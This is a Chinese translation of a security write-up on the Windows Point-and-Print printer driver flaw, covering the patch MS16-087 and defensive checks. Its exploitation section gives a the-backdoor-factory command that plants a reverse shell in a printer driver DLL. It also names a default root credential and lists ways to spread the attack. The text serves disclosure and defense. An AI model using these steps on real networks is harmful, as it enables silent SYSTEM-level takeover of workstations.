简介
打印机为物联网(IOT)世界提供了一个有趣的案例,因为与大多数物联网设备相比它们是非常强大的硬件,但通常不被管理员认为是一个“真正的”计算机。多年来,许多安全研究人员研究和报道了打印机的漏洞。然而,绝大多数的研究集中在如何破解打印机本身来做一些事情,如改变打印机的显示或者盗取打印的文件。在这种情况下,我们研究如何使用打印机在大多数网络中的特殊作用来感染终端用户设备,并且在网络中扩展攻击足迹。
针对这种分析的总结和视频可以点击链接(info.vectranetworks.com/understanding-printer-vulnerabilities)。
背景
要理解这个问题,我们需要了解一些关于微软Web Point-and-Print协议(MS-WPRN)和为什么它会有这样的工作方式。
大多数组织试图对它们网络上的设备应用最小特权原则。这种方法对笔记本电脑或台式机来说可以很好地适用因为它们所使用的硬件不会经常改变。然而打印机有点不同。虽然它们仍然需要驱动程序,但打印机需要支持任何想要连接到它们的用户。作为终端用户,通过构建他们自然希望可以更亲近的使用打印机。移动用户希望当他们进入办公室时能够轻松地连接和使用打印机。此外,大多数组织不会对打印机进行规范化,经常在一个网络中会有多种型号和制造商的打印机。
所以取代系统管理员将所有可能的打印机驱动程序推送到网络中的所有工作站的解决办法是开发一种方法在用户使用打印机前传送驱动程序到用户设备上。因此Point-and-Print出现了。这种方法在打印机或打印服务器上存储一个共享的驱动程序,而且只有打印机的用户才能获得他们所需要的驱动程序。乍一看,这是一个实用和简单的驱动程序部署解决方案。用户不需要通过管理员就能够访问他们需要的打印机驱动程序——一个很好的双赢。
问题
这个方案的问题从终端用户的角度来看能够很好地工作,但是存在一个例外。通常情况下,用户帐户控制是用来警告或防止用户安装新的驱动程序。为了使打印更容易,这就造成了绕过这种控制的一个例外发生。最后,我们有一个机制,允许从一个共享的驱动器上下载可执行文件,并且在工作站上以系统级运行而不对用户生成任何警告。从攻击者的角度来看,这几乎太好了,当然必须要试一试。
开发利用
在我们的例子中我们使用的是一个真正的打印机。因为大多数打印机都富含特性,所以并不难找到一个bug来访问底层系统。在这种情况下,我们能够打开固件更新,收集一些凭证,理解文件系统的布局。这个页面的最后部分的工具选项中存在一个binwalk魔法文件,经过一些挖掘之后我们发现这些文件和驱动程序有关。它们在一个以“print$”开头的共享的驱动程序中,通常包括满足各种类型的架构(例如x86、x64、ppc、alpha) 的多种风格。可以寻找目录命名:W32X86,x64, IA64,color,等等。
我们只简单的把打印机的x86 dll文件拿了出来,可以直接或通过rpcclient[5]注入“the-backdoor-factory”[1]。
./backdoor.py -f ~/Desktop/i386/hpygidUI15.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.1.135
这将会提供给我们一个注入载荷的dll文件。
将这个dll放回到原始目录可以用多种方式完成。通常你可以写回print$共享如果你有域管理凭据。另外, 如果你有打印机的root权限你可以用我们刚刚创建的带有后门的文件覆盖现有的文件。一个令人震惊的事实是,供应商通常会在机器上保留默认隐藏凭证。如果它不在你的破解字典中,你也可以尝试添加root:myroot。
在我们的示例中,我们使用32位Windows XP, 32位Windows 7,64位Windows 7,Windows 2008 R2 AD 64,Ubuntu CUPS, Windows 2008 R2 64打印机服务器和一个未命名的打印机。Windows 7能够很好的运行Point-and-Print,它需要配置在动态目录上。更多关于它的信息在下面互联网打印协议一节中会有介绍。
在正常添加打印机,自动发现和选择我们的打印机(带有后门dll)之后,windows系统会进行正常的驱动程序获取和安装过程。
这个阶段允许用户安装打印机驱动程序并且没有任何警告,uac甚至二进制签名验证,而且拥有所有系统权限。
在控制台会提供以下信息:
其它可能的利用
鉴于这个问题的本质,有很多方法可以使用远程代码执行。在上面的示例中,我们逆向工程到一个桌面打印机,但相同的驱动程序加载特性可以用不同的软件栈来实现,并且在在不同的场景中使用。这些包括但不限于:
Watering hole攻击
对现有打印机或打印机服务器设置后门
创建一个虚假的打印机服务器然后广播它可以被自动发现
权限提升
使用添加打印机作为特权升级机制获得系统访问权限
对打印机进行Mitm攻击,并且注入后门驱动程序代替真实的驱动。
用IPP和Webpnp获取更多的全局信息
使用网络打印协议和webpointNprint进行远程感染
到目前为止,我们已经限制自己在一个内部网络中,其中插入或感染的设备被用于进一步感染连接到它的设备。互联网打印协议(IPP)和webpointNprint允许我们将这个问题扩展到内部网之外的互联网上。IPP允许相同的机制从打印机加载驱动程序。可以用来自MS打印服务器的这段代码进行。
让我们看看这10MB二进制文件的内容。
.dat文件的内容似乎是printui.dll的参数列表
Short version of printui.dll help file for quick reference of what is happening.
rundll32 printui.dll,PrintUIEntry /?
/if => install printer using inf file
/Q
/b => base printer name
/f => inf input file
/r => port name
/m => printer driver model name
/n => printer name
/a => binary file name
$ cat cab_ipp.dat
??/if
/Q "hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab"
/b "\\192.168.1.3\HP Officejet 8040 series"
/f "hpygid15.inf"
/r "192.168.1.3/printers/HP~20Officejet~208040~20series/.printer"
/m "HP Officejet 8040 series"
/n "\\PRINTERSRV\HP Officejet 8040 series"
/a "8CD4X810.bin"
Extraction of the other cab in cab..
$ cabextract -d temp hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab
Extracting cabinet: hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab
extracting temp/hpoj_8040.gpd
extracting temp/hpygid15-pipelineconfig.xml
extracting temp/hpygid15.cat
extracting temp/hpygid15.inf
extracting temp/hpygid15.ini
extracting temp/hpygid15.PNF
extracting temp/hpygidDataMap.xml
extracting temp/hpygidMN15.gpd
extracting temp/LOCALE.GPD
extracting temp/MSXPSINC.GPD
extracting temp/STDDTYPE.GDL
extracting temp/STDNAMES.GPD
extracting temp/STDSCHEM.GDL
extracting temp/STDSCHMX.GDL
extracting temp/V3/i386/hpbmtxr15.dll
extracting temp/V3/i386/hpbuio.dll
extracting temp/V3/i386/hpfime52.dll
extracting temp/V3/i386/hpinkcoiDE11.dll
extracting temp/V3/i386/hpinkinsDE11.exe
extracting temp/V3/i386/hpinkstsDE11.dll
extracting temp/V3/i386/hpinkstsDE11LM.dll
extracting temp/V3/i386/hpUIMDDialog15.dll
extracting temp/V3/i386/hpygiddrv15.dll
extracting temp/V3/i386/hpygidres15.dll
extracting temp/V3/i386/hpygidudm.dll
extracting temp/V3/i386/hpygidUI15.dll
extracting temp/V3/i386/mtxr.dll
extracting temp/V3/i386/mxdwdrv.dll
extracting temp/V3/i386/UNIDRV.DLL
extracting temp/V3/i386/UNIDRV.HLP
extracting temp/V3/i386/UNIDRVUI.DLL
extracting temp/V3/i386/UNIRES.DLL
extracting temp/V3/i386/xpssvcs.dll
extracting temp/XP_hpygid15-pipelineconfig.xml
这就是文件加载驻留。我们先前的攻击中修补的文件运行时就会考虑是否通过smb,Point-and-Print或webpnp传送。
问题的根源
跟踪这个问题给我们带来了一个ntprint.dll库,特别是“PSetupDownloadAndInstallLegacyDriver”功能。这个函数负责检查政策并执行提升特权的安装。
虽然有正当的部署理由让驱动程序在没有管理员权限的情况下安装,但是为了减少表面上的攻击,警告应该始终启用,二进制签名也应该始终检查。
补救措施
Vectra和微软合作期间调查了这个问题,并且微软在安全公告MS16 – 087中发布了CVE - 2016 - 3238(ms16 - 087)和CVE - 2016 - 3239的修复补丁。
Point-and-Print的行为可以定义为与GPO一个粒度级别——给管理员控制的风险。虽然可以禁用Point-and-Print或添加一个警告和请求UAC,但这就将我们带回到了第一个问题——如何管理驱动程序使得用户可以安装驱动程序,而不必每次都接触它。
微软在[3],[4]中提供了所需的文档,并且开发了一个增强的Point-and-Print(v4),试图解决其中的一些问题。迁移到打印机支持协议的最新版本和新版本的windows可以最小化一部分攻击伤害。我们没有进一步探讨v4 /增强的Point-and-Print的安全特性,然而向后兼容性可能使得他们的努力变得毫无意义。
检查您的网络
为实现Point-and-Print的主机注册表
扫描你的网络是否存在Point-and-Print驱动程序
网络内容检查签名出口保护来防止IPP / WEBPNP变种的攻击。
1 -“用户代理:互联网添加打印机”
2 -下载文件带有“.webpnp”扩展名的文件
结论
这种攻击导致可以获得连接到你的打印机上的任何工作站的“系统”权限。我们利用驱动程序漏洞工具有效地改变了一个内部网络的打印机,而且我们可以等待人来感染并且不发出任何警告。在打印服务器, cups或微软上,我们希望存在反病毒,文件完整性检查或其他解决方案来监控主机的改变。然而打印机的驱动程序不太可能有任何的防御。这不仅能够感染在你的网络中的多台机器,而且它还能反复感染。找到问题的根源可能非常困难,因为打印机本身可能不是你通常的怀疑对象。这种情况在生活中经常发生,因为我们绝不会考虑到是由于打印机的驱动程序造成的,但是这些设备可能并没有我们希望的那么坚不可摧。因此,我们应该像对网络中的其它关键基础设施一样对打印机设置相同级别的安全措施,比如动态目录和更新服务器。